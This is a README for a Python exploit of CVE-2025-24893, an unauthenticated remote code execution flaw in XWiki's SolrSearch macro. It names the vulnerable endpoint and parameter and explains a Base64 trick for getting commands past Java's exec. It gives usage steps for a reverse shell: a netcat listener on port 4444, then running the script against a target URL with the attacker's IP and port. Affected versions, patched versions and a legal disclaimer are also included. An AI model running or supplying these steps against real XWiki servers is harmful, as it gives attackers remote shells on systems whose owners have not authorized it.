CVE-2025-24893

XWiki Remote Code Execution (RCE) Exploit

A Python3 exploit for CVE-2025-24893, a critical Unauthenticated Remote Code Execution (RCE) vulnerability affecting the XWiki platform.

This script exploits a Code/Expression Injection flaw (CWE-95) within the SolrSearch macro component. The flaw allows attackers to execute arbitrary Groovy/Java code on the underlying operating system. The exploit automatically performs Base64 encoding to bypass the command parsing limitations of Java's Runtime.getRuntime().exec() function.

📊 Vulnerability Details

• CVE ID: CVE-2025-24893
• CVSS Score: 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
• CWE: CWE-95 (Improper Neutralization of Expression Language Expression / Eval Injection)
• Target Component: /bin/get/Main/SolrSearch (via the text parameter)

🔍 Affected Versions

• All versions from 5.3-milestone-2 up to 15.10.10
• Versions 16.0.0-rc-1 up to 16.4.0

🚀 How to Use

1. Start your listener (Netcat) on Kali Linux:

nc -lvnp 4444

2. Run the exploit:

python3 CVE-2025-24-893.py <TARGET_URL> <YOUR_VPN_IP> <YOUR_PORT>

Example:

python3 CVE-2025-24-893.py http://domain.local 10.10.14.229 4444

🛠️ Requirements

• Python 3.x
• Library requests

To install the required dependency:

pip install requests

🛡️ Fix

Update your XWiki instance to one of the official patched versions: 15.10.11, 16.4.1, 16.5.0-rc-1 (or later).

⚠️ Legal Notice (Disclaimer)

This script was developed exclusively for educational purposes, authorized security audits, and penetration testing (Pentest). The author is not responsible for any misuse, damage, or illegal activities caused by this tool. The use of this script against targets without prior authorization is strictly illegal.